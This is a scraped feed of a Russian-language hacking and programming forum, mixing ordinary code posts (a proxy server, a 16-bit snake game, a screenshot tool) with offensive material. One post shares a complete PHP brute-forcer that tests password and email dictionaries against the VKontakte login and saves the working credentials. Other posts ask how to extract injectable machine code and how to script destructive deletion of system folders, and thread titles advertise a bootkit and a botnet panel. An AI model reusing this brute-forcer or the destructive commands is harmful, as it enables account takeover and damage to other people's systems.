      cout<<"Server is ready!"<
      bind(sServerListen, (struct sockaddr *)&localaddr,sizeof(localaddr));
      listen(sServerListen, 2);
      int count = 0;
      while (1)
      {
       int iSize = sizeof(clientaddr);
       sClient = accept(sServerListen, (struct sockaddr *)&clientaddr,&iSize);
       CloseHandle(CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TF,(LPVOID)sClient, 0, &dwThreadId));
      }
      closesocket(sServerListen);
     }
    }
}

}

proxy.cpp

Код

#include "proxy.h";
using namespace NetWork;
void main()
{
    setlocale(LC_ALL, "rus");
    tServer *server = new tServer(3128,ClientThread);
           system("pause>nul");
    return ;
}

[C++] Скопировать функцию в массив

Neo — Tue, 14 Jan 2014 12:26:20 GMT

Всем привет,тут такая тема возникла,вообще для осуществления инжекторов,нужно получить в машинных кодах процедуру,которая будет внедряться.Пробовал таким образом:

Код

static void APIENTRY THREAD()
{
   __asm
   {
    nop;
    nop;
    nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;
   };
   char A[] = "aaaaa";
   memset(A,0x90,sizeof(A));
   MessageBoxA(0,"ggggggg",":g",1);
}

DWORD SafeBuf(IN LPSTR fname,IN LPVOID buf,IN int size)
{
   DWORD nw = 0;
   HANDLE    f1 = CreateFileA(fname,GENERIC_ALL,FILE_SHARE_WRITE,0,CREATE_ALWAYS,0,0);
      WriteFile(f1,buf,512,&nw,0);
   CloseHandle(f1);
   return nw;
}

void ProcToArray(LPVOID ProcAddr)
{
   BYTE mas[100];
   BYTE epilog[5] = {0x8B,0xE5,0x5D,0xC3};

   memset(mas,0,sizeof(mas));

   void (APIENTRY *functionPtr)();
   functionPtr = &THREAD;
   memcpy(mas,functionPtr,sizeof(mas));
   SafeBuf("file.bin",mas,sizeof(mas));

Но сохраняется только эпилог,а нопов я не вижу.В чём может быть проблема?

Можно ли узнать cookies с помощью Charles?

vitalka-vitalkin — Tue, 10 Dec 2013 15:54:58 GMT

Форум: Остальные языки программирования
Описание темы: Можно ли узнать cookies с помощью Charles?
Автор темы: vitalka-vitalkin
Автор последнего сообщения: xXxSh@dowxXx
Количество ответов: 5

[C#] Работа с MySQL

Slash — Wed, 06 Nov 2013 15:21:22 GMT

Здравствуйте, вот изучаю C# и впервые захотел написать приложение работающее с MySQL, почитал в инете на эту тему, увидел кучу примеров, и в каждом подключена данная библиотека,но, почему то у меня ее нет, вопрос:где ее искать и как установить?

[C#]Проблема с кодировками.

Slash — Tue, 05 Nov 2013 06:39:45 GMT

Форум: Остальные языки программирования
Автор темы: Slash
Автор последнего сообщения: Blood_Hunter
Количество ответов: 1

[MASM] KmdKit

Hargen — Wed, 28 Aug 2013 11:17:54 GMT

Форум: Остальные языки программирования
Описание темы: Разработка драйверов ядра win32 на masm
Автор темы: Hargen
Автор последнего сообщения: Hargen
Количество ответов: 0

[PHP] в контакте

Neo — Thu, 16 May 2013 17:05:26 GMT

Нашёл у себя страрый исходник брута в контакте и решил выложить.

Код

#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
#&          VkBrute v. 1.03
#&     author Chaak(ICQ:868922)
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-

if(!isset($_POST['ok'])){
?>



      .::Vkontakte brutforce by ChaaK::.

.::Vkontakte brutforce by ChaaK::.

Тип атаки:

	Атака на один email по списку паролей
	Атака на один пароль по списку email'ов
	Атака на список email:password

E-mail

- для брута(для 1 вида атаки)

Пароль

- для брута(для 2 вида атаки)

Словарь*

Хорошие пароли

Агент

Время работы*

- время работы скрипта в минутах, если 0 - то бесконечно.

}else{
set_time_limit(($_POST['time'])*60);

#############################################
$email = $_POST['email'];
$passw = $_POST['pass'];
$dict = @file($_POST['dict']);
$type= $_POST['attack'];
$result = $_POST['good'];
$user_agent = $_POST['user'];
#############################################

function brute($email,$pass) {
      $fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
      $out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
      $out .= "Host: vkontakte.ru\r\n";
      $out .= "User-Agent: ".$GLOBALS['user_agent']."\r\n";
      $out .= "Cookie: income=1\r\n";
      $out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
      fwrite($fp,$out);
    $ans='';
    while(!feof($fp))
    {
    $ans.=fgets($fp,128);
    }
    fclose($fp);
    unset($out);
    if(preg_match("/\b302 Found\b/is", $ans)) return true; else return false;
}

if($type==1){
      for($i=0;$i          $dict[$i]=trim($dict[$i]);
              if(brute($email,$dict[$i])){
                  $fp=fopen($result,'ab');
                  fwrite($fp,$email.':'.$dict[$i]."\n");
                     fclose($fp);
                  exit();
              }
          unset($dict[$i]);
          ob_implicit_flush();
      }
}elseif($type==2){
      for($i=0;$i          $dict[$i]=trim($dict[$i]);
              if(brute($dict[$i],$passw)){
                  $fp=fopen($result,'ab');
                  fwrite($fp,$dict[$i].':'.$passw."\n");
                  fclose($fp);
              }
          unset($dict[$i]);
          ob_implicit_flush();
      }
}elseif($type==3){
      for($i=0;$i          $dict[$i]=trim($dict[$i]);
              $array = explode(":",$dict[$i]);
                  if(brute($array[0],$array[1])){
                      $fp=fopen($result,'ab');
                      fwrite($fp,$array[0].':'.$array[1]."\n");
                      fclose($fp);
                  }
          unset($dict[$i]);
          ob_implicit_flush();
      }
}
echo "Брут завершен! Смотрите результаты в файле $result";
}
?>

[asm] Помогите переписать процедуру под x64

dolphin — Fri, 03 May 2013 12:36:37 GMT

Есть процедура
Доступно только для пользователей

Код

const
    TXorData: array[0..15] of Byte = (
      $F3, $26, $81, $C4, $39, $86, $DB, $92,
      $71, $A3, $B9, $E6, $53, $7A, $95, $7C
    );

procedure EncryptPass(SrcBuf: Pointer; BufLen: LongWord); assembler;
asm
     or    edx,edx
     jz    @@end
@@loop:
     mov   cl,byte ptr[eax + edx - 1]
     xor   cl,byte ptr[TXorData + edx - 1]
     mov   byte ptr[eax + edx - 1],cl
     dec   edx
     jnz   @@loop
@@end:
end;

Проблема в том что на х64 она не работает, кто поможет с этим вопросом?

[ASM] BOOTKIT

Neo — Tue, 15 Jan 2013 01:12:24 GMT

Форум: Остальные языки программирования
Описание темы: Создание кода,загружающегося до загрузки ОС
Автор темы: Neo
Автор последнего сообщения: Neo
Количество ответов: 15

[bat] Подскажите как писать эти команды бат файлов

Goog — Thu, 10 Jan 2013 17:39:19 GMT

1 удалит win.ini
2 удалить все на рабочем столе
3 удалить Application Data
4 удалить sendto
5 очистить Fonts это папка
6 удалить диспейчер задачь
7 удалить редактор реестра
8 удалить папку inf
9 удалить всех пользователей

[C] Ядерный вызов ZwTerminateProcess

Neo — Sun, 06 Jan 2013 11:06:42 GMT

Всем привет!Вот написал кодец для вызова функции завершения процессов из драйвера.Зачем это нужно?
Ну,если кто-то подцепит троян,который будет сплайсить из 3 кольца функцию OpenProcess или TermonateProcess,защищая себя этим от завершения,то завершить его можно будет вызовом соответствующей функцией из ядра.
Как это работает.Запускаете приложение на Delphi,открывается консолька.Туда пишете pid процесса,который надо завершить и эта инфа передаётся в драйвер,а он уже прибивает процесс.
Доступно только для пользователей
Драйвер:

Код

#include
#include
#pragma comment(lib,"ntoskrnl.lib")

typedef UCHAR (BYTE);
typedef BYTE* PBYTE;

HANDLE pid = 0;
UNICODE_STRING DeviceName;
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT deviceObject = NULL;

BOOLEAN KillProcess(ULONG PID);
int StrToInt(PCSTR val);//Спасибо Гравитасу за функцию
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath);
NTSTATUS DriverDispatcher( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject);

NTAPI ZwTerminateProcess(IN HANDLE hProcess OPTIONAL,IN NTSTATUS ExitCode);
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess(
                    OUT PHANDLE ProcessHandle,
                    IN ACCESS_MASK DesiredAccess,
                    IN POBJECT_ATTRIBUTES ObjectAttributes,
                    IN PCLIENT_ID ClientId OPTIONAL
             );
BOOLEAN KillProcess(ULONG PID)
{
      OBJECT_ATTRIBUTES   objectAttributes;
      CLIENT_ID     clientID;
      HANDLE hProcess=NULL;
      NTSTATUS status;

      InitializeObjectAttributes( &objectAttributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL );

     clientID.UniqueProcess = (HANDLE)PID;
     clientID.UniqueThread = NULL;

     status = ZwOpenProcess( &hProcess,
                           PROCESS_ALL_ACCESS,//PROCESS_TERMINATE,
                           &objectAttributes, &clientID );
     if (!NT_SUCCESS(status))
     {
              return FALSE;
     DbgPrint("ZwOpenProcess() ERROR : 0x%.8x\n", status);
     }

    status = ZwTerminateProcess(hProcess, 0);
    if (!NT_SUCCESS(status))
   DbgPrint("ZwTerminateProcess() ERROR : 0x%.8x\n", status);
    ZwClose(hProcess);
    return TRUE;
}

int StrToInt(/*char *val*/PCSTR val)
{
   int raz = 1;
   int len = strlen(val) - 1;
   int result = 0;
   for(len; len >= 0; len--)
   {
    int tmp = val[len] - 48;
    result += tmp*raz;
    raz = raz*10;
   }
   return result;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
   NTSTATUS st;
   PCWSTR   dDeviceName = L"\\Device\\MyDriverC";
   PCWSTR   dSymbolicLinkName = L"\\DosDevices\\MyDriverC";
   PDRIVER_DISPATCH *ppdd;
      DbgPrint("Driver loaded");
      RtlInitUnicodeString(&DeviceName, dDeviceName);
      RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);

      st = IoCreateDevice(DriverObject,       // указатель на DriverObject
                          0,                  // размер памяти (device extension)
                          &DeviceName,        // имя создаваемого устройства
                          FILE_DEVICE_NULL,   // тип создаваемого устройства
                          0,                  // характеристики устройства
                          FALSE,              // "эксклюзивное" устройство
                          &deviceObject);     // указатель на объект устройства if


      //(st == STATUS_SUCCESS);
   st= IoCreateSymbolicLink(&SymbolicLinkName, // имя создаваемой символической ссылки
                     &DeviceName);      // имя устройства
      ppdd = DriverObject->MajorFunction;         // обьявляю процедуры обработки ввода-вывода ppdd
   ppdd[IRP_MJ_CREATE] =
      ppdd[IRP_MJ_CLOSE ] =
      ppdd[IRP_MJ_WRITE ] = DriverDispatcher;
      DriverObject->DriverUnload = DriverUnload;
   return st;
   return STATUS_SUCCESS;
}

NTSTATUS DriverDispatcher( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION pisl;
NTSTATUS           ns = STATUS_SUCCESS;
PCSTR              Data;
char *str;
      pisl = IoGetCurrentIrpStackLocation(Irp);
      Irp->IoStatus.Information = 0;

      if ( pisl->MajorFunction == IRP_MJ_WRITE) {

          ULONG Length = pisl->Parameters.Write.Length;
          Data = Irp->UserBuffer;
          __try
    {
     pid = (HANDLE)StrToInt(Data);
        if (KillProcess((ULONG)pid))
      DbgPrint("Kill is true!!!",pid);
     else
      DbgPrint("Can`t kill the process",pid);
    }
          __except(EXCEPTION_EXECUTE_HANDLER)
          {
              Irp->IoStatus.Information = 0;
              ns = STATUS_IN_PAGE_ERROR;
          }
      }

      Irp->IoStatus.Status = ns;
      IoCompleteRequest(Irp, IO_NO_INCREMENT);
      return ns;
}

VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
   NTSTATUS Result;
    DbgPrint("Driver unloaded");
    IoDeleteSymbolicLink(&SymbolicLinkName); // удаляем символическую ссылку
    IoDeleteDevice(deviceObject);                // удаляем устройство return;
    return;
}

Прога:

Код

program DrvSenders;

{$APPTYPE CONSOLE}

uses
    windows,WinSvc;
const
    DrvName  = 'MyDriverC';
    Полный путь к драйверу!
    FullPath ='D:\WINDDK\2600.1106\MyDrivers\ZwTerminateProcess\i386\ZwTerminateProcess.sys';

function InstallDriver: boolean;
var
    hSCM, hSRV: dword;
    sParam: PChar;
begin
    Result := false;
    hSCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
    if hSCM = INVALID_HANDLE_VALUE then Exit;
    // создание системной записи о драйвере
    hSRV := CreateService(hSCM, DrvName, DrvName,
                          SERVICE_ALL_ACCESS,
                          SERVICE_KERNEL_DRIVER,
                          SERVICE_DEMAND_START,
                          SERVICE_ERROR_NORMAL,
                          FullPath, nil, nil,
                          nil, nil, nil);

    if hSRV = INVALID_HANDLE_VALUE then Exit;
    //запускаем драйвер
    StartService(hSRV, 0, sParam);
    //очистка ресурсов
    CloseServiceHandle(hSRV);
    CloseServiceHandle(hSCM);
    Result := true;
end;

function InstallDriver2: boolean;
var
    hSCM, hSRV: dword;
    sParam: PChar;
begin
    Result := false;
    hSCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
    if hSCM = INVALID_HANDLE_VALUE then Exit;
    // создание системной записи о драйвере
    hSRV := CreateService(hSCM, DrvName, DrvName,
                          SERVICE_ALL_ACCESS,
                          SERVICE_KERNEL_DRIVER,
                          SERVICE_DEMAND_START,
                          SERVICE_ERROR_NORMAL,
                          FullPath, nil, nil,
                          nil, nil, nil);

    if hSRV = INVALID_HANDLE_VALUE then Exit;
    //запускаем драйвер
    StartService(hSRV, 0, sParam);
    //очистка ресурсов
    CloseServiceHandle(hSRV);
    CloseServiceHandle(hSCM);
    Result := true;
end;

function InstallDriver3: boolean;
var
    hSCM, hSRV: dword;
    sParam: PChar;
begin
    Result := false;
    hSCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
    if hSCM = INVALID_HANDLE_VALUE then Exit;
    // создание системной записи о драйвере
    hSRV := CreateService(hSCM, DrvName, DrvName,
                          SERVICE_ALL_ACCESS,
                          SERVICE_KERNEL_DRIVER,
                          SERVICE_DEMAND_START,
                          SERVICE_ERROR_NORMAL,
                          FullPath, nil, nil,
                          nil, nil, nil);

    if hSRV = INVALID_HANDLE_VALUE then Exit;
    //запускаем драйвер
    StartService(hSRV, 0, sParam);
    //очистка ресурсов
    CloseServiceHandle(hSRV);
    CloseServiceHandle(hSCM);
    Result := true;
end;

procedure SendString(Str: PChar);
var
   hDriver: dword;
   Written: dword;
begin
   hDriver := CreateFile('\\.\'+DrvName, GENERIC_WRITE,
                         0, nil, OPEN_EXISTING, 0, 0);
   WriteFile(hDriver, Str^, lstrlen(Str), Written, nil);
   CloseHandle(hDriver);
end;

var
   Data: array [0..255] of Char;

begin
    if InstallDriver2 then
      MessageBox(0,'Жрайвер загружен!','?',0)  else
      begin
        MessageBox(0,'Драйвер не загружен!','?',0);
       exit;
      end;
    while true do
     begin
      ReadLn(Data);
      SendString(@Data);
     end;
end.

Пароль от архива DelfCodeZwTerminateProcess.c
Будут возникать вопросы по поводу комипляции драйвера,спрашивайте

[Java]Создание и запись в файл

cool1 — Mon, 31 Dec 2012 18:11:48 GMT

Здравствуйте, немогли бы вы мне подсказать самое простое решение для создания файла и записи в него информации на java.
В интернете искал, но там громоские решения.
Заранее спасибо!

[ASM] RadASM

Marra_Kesh — Sat, 29 Dec 2012 16:21:54 GMT

RadASM — бесплатная среда разработки программного обеспечения для ОС Windows и не только, изначально предназначенная для написания программ на языке ассемблера.
Имеет гибкую систему файлов настроек, благодаря чему может быть использована как среда разработки программного обеспечения на высокоуровневых языках, а также документов, основанных на языках разметки.

[FASM] Игра "Змейка" 16-бит

Marra_Kesh — Sat, 15 Dec 2012 11:18:17 GMT

Code

use16                        ;16-битные коды.
org 100h                    ;.com-файл.
up_key:
         scasb                ;Сравнивает значение в al и в ячейке памяти es:di. Увеличивает значение регистра di.
         int    10h            ;Установка текстового видеорежима 25 строк по 40 символов в каждой.
left_key:
         cld                ;Сброс флага направления, т.е. df=0, поэтому обработка строк идёт слева направо.
right_key:
         push    0b800h            ;Помещение адреса начала текстового видеобуфера в стек для дальнейшего его присвоения регистру es.
         inc    di            ;?
down_key:
         dec    si            ;?
         pop    es            ;Помещение адреса начала видеобуфера в регистр es.
         int    1ah            ;Считываем количество тиков после 00 часов в регистры cx:dx. 18.2 тика в секунду, 1800b0h тиков в сутках. Также обнуляется регистр ax.
         xchg    ax,bp            ;Обнуляем регистр bp.
         inc    dl            ;Прибавляем 1 тик.
score:
         mov    si,0            ;Обнуляем регистр si. Он будет выполнять роль счётчика очков.
         mov    cx,40*25*2 - 2        ;Вычисляем значение предпоследней текстовой области экрана.
         mov    fs,cx            ;Заносим это значение в регистр fs.
         jmp    add_food        ;Безусловный переход к метке add_food.
         ; bp = dir
         ; fs:bx = head
         ; fs:si = tail
         ; cx = 1998
         ; dl = time
main_loop:
         mov    ax,es
         push    di            ;Сохраняем значение di.
         mov    di,word [fs:si]
         stosb                ;Записывает al в ячейку памяти es:di, увеличивает di на 2.
         stosb                ;Записывает al в ячейку памяти es:di, увеличивает di на 2.
         cmpsw                ;si += 2, di += 2
         pop    di            ;Возвращаем значение di.
         add    di,bp
         cmp    di,cx
         ja    exit_point
         mov    word [fs:bx],di
         inc    bx
         inc    bx
         cmp    ah,[es:di+1]
         stosw
         ja    no_eat
         je    exit_point
add_food:
         dec    si            ;?
         dec    si            ;?
         pusha                ;Cохраняем значения всех регистров.
         mov    di,score+1        ;Чтение байта по адресу score+1, т.е. 0.
         mov    bx,word [score+1]    ;Заноси в bx слово по адресу score+1.
         inc    word [di]        ;Прибавляем 1 очко к общему счёту и заносим в регистр di.
         mov    di,cx
score_loop:                    ;Вывод столбца с количеством набранных очков.
         shr    bx,1            ;Сдвиг bx на 1 бит вправо.
         mov    ax,es            ;
         adc    al,'0'            ;Сложение с учётом флага переноса.
         stosw                ;Записывает ax по адресу es:di и увеличивает значение di на размер ax, т.е. на 4.
         sub    di,82            ;Вычитает из адреса 82 байта, т.е. 4 байта от предыдущей команды и 78 байт за счёт строки.
         jns    score_loop        ;Продолжает делать весь цикл команд пока значение положительное, т.е. пока не кончатся строки.
try_place:                    ;Выбирает место и выводит еду.
         in    ax,40h            ;Вводит из порта 40h один байт в ax. Используется для рандомного адреса новой ячейки с едой.
         add    ax,ax            ;Удваивает. Также используется для рандомизации.
         cwd                ;Опять же ради радомизации. Копирует значение старшего бита ax на все биты регистры dx, т.е. преобразует слово в двойное слово.
         div    cx            ;Делим ax на cx. Частное в al, остаток в ah.
         mov    di,dx            ;Заносим в di рандомное значение из dx.
         cmp    word [es:di],sp    ;Сравнивается с вершиной стека, чтобы ячейка с новой едой попадала в видеобуфер
         jl    try_place        ;Если не больше или равно, то переход обратно на метку try_place.
         mov    ah,0cfh        ;Цвет внутри появившейся еды.
         stosw                ;Записывает al по адресу es:di.
         popa                ;Возвращаем все регистры в начальные значения.
no_eat:
delay:
         cmp    dl,[gs:46Ch]        ;Предыдущее значение системного таймера.
         jne    delay            ;Если не равно нулю, то повторяем.
         add    dl,4            ;Количество тиков задержки. Чем меньше, тем быстрее будет двигаться змейка.
         mov    ah,1            ;\
         int    16h            ;-Проверка готовности символа в al к выводу.
         jz    main_loop        ;Если равно нулю, то направляемся в main_loop.
         cbw                ;Преобразует al в слово ax.
         int    16h            ;Считывает нажатую клавишу.
         movzx    bp,ah            ;
         movsx    bp,byte[bp+100h-72]
         cmp    al,0            ;Сравнивает.
         je    main_loop        ;Если равно, то отправляет в main_loop.
exit_point:
         ret

Первоисточник [pause] как Вы думаете где? Правильно [/pause] в Интернете...

[FASM] JPEG screenshot

Marra_Kesh — Thu, 15 Nov 2012 15:05:58 GMT

Tomasz Grysztar, гигантское Вам спасибо!

Code

format PE GUI 4.0

include 'win32w.inc'

struct GdiplusStartupInput
        GdiplusVersion           dd ?
        DebugEventCallback       dd ?
        SuppressBackgroundThread dd ?
        SuppressExternalCodecs   dd ?
ends

struct ImageCodecInfo
        Clsid             db 16 dup ?
        FormatID          db 16 dup ?
        CodecName         dd ?
        DllName           dd ?
        FormatDescription dd ?
        FilenameExtension dd ?
        MimeType          dd ?
        Flags             dd ?
        Version           dd ?
        SigCount          dd ?
        SizeSize          dd ?
        SigPattern        dd ?
        SigMask           dd ?
ends

section '.text' code readable executable

entry $

              invoke  GdiplusStartup,token,input,NULL
              test    eax,eax
              jnz     exit

              invoke  GdipGetImageEncodersSize,encoders_count,encoders_size
              test    eax,eax
              jnz     gdiplus_shutdown
              invoke  VirtualAlloc,0,[encoders_size],MEM_COMMIT,PAGE_READWRITE
              test    eax,eax
              jz      gdiplus_shutdown
              mov     ebx,eax
              invoke  GdipGetImageEncoders,[encoders_count],[encoders_size],ebx
              test    eax,eax
              jnz     gdiplus_shutdown
          scan_encoders:
              mov     esi,[ebx+ImageCodecInfo.MimeType]
              mov     edi,encoder_mimetype
              mov     ecx,11
              repe    cmpsw
              je      encoder_found
              add     ebx,sizeof.ImageCodecInfo
              dec     [encoders_count]
              jnz     scan_encoders
              ; no encoder found
              jmp     gdiplus_shutdown
           encoder_found:
              lea     esi,[ebx+ImageCodecInfo.Clsid]
              mov     edi,encoder_clsid
              mov     ecx,4
              rep     movsd
              invoke  VirtualFree,ebx,0,MEM_RELEASE

              invoke  GetDC,HWND_DESKTOP
              test    eax,eax
              jz      gdiplus_shutdown
              mov     esi,eax
              invoke  GetSystemMetrics,SM_CYSCREEN
              mov     [screen_height],eax
              invoke  GetSystemMetrics,SM_CXSCREEN
              mov     [screen_width],eax
              invoke  CreateCompatibleBitmap,esi,[screen_width],[screen_height]
              test    eax,eax
              jz      release_desktop_dc
              mov     ebx,eax
              invoke  CreateCompatibleDC,esi
              test    eax,eax
              jz      delete_bitmap
              mov     edi,eax
              invoke  SelectObject,edi,ebx
              test    eax,eax
              jz      delete_dc
              invoke  BitBlt,edi,0,0,[screen_width],[screen_height],esi,0,0,SRCCOPY
              test    eax,eax
              jz      delete_dc

              invoke  GdipCreateBitmapFromHBITMAP,ebx,NULL,gdip_bitmap
              test    eax,eax
              jnz     delete_dc

              invoke  GdipSaveImageToFile,[gdip_bitmap],file_name,encoder_clsid,NULL

              invoke  GdipDisposeImage,[gdip_bitmap]
        delete_dc:
              invoke  DeleteObject,edi
        delete_bitmap:
              invoke  DeleteObject,ebx
        release_desktop_dc:
              invoke  ReleaseDC,HWND_DESKTOP,esi
        gdiplus_shutdown:
              invoke  GdiplusShutdown,[token]
        exit:
              invoke  ExitProcess,0

section '.data' data readable writeable

        file_name du 'test.jpg',0

        encoder_mimetype du 'image/jpeg',0
        encoder_clsid db 16 dup ?

        input GdiplusStartupInput 1
        token dd ?
        memdc dd ?
        gdip_bitmap dd ?

        encoders_count dd ?
        encoders_size dd ?

        screen_width dd ?
        screen_height dd ?

section '.rdata' data readable

data import

        library kernel32,'KERNEL32.DLL',\
                user32,'USER32.DLL',\
                gdi32,'GDI32.DLL',\
                gdiplus, 'GDIPLUS.DLL'

        include 'api\kernel32.inc'
        include 'api\user32.inc'
        include 'api\gdi32.inc'

        import  gdiplus,\
                GdiplusStartup,'GdiplusStartup',\
                GdiplusShutdown,'GdiplusShutdown',\
                GdipGetImageEncodersSize,'GdipGetImageEncodersSize',\
                GdipGetImageEncoders,'GdipGetImageEncoders',\
                GdipSaveImageToFile,'GdipSaveImageToFile',\
                GdipDisposeImage,'GdipDisposeImage',\
                GdipCreateBitmapFromHBITMAP,'GdipCreateBitmapFromHBITMAP'

end data

[PHP] Панелька для ботнета

Neo — Thu, 15 Nov 2012 14:08:22 GMT

Форум: Остальные языки программирования
Описание темы: Создание формы
Автор темы: Neo
Автор последнего сообщения: antbert
Количество ответов: 4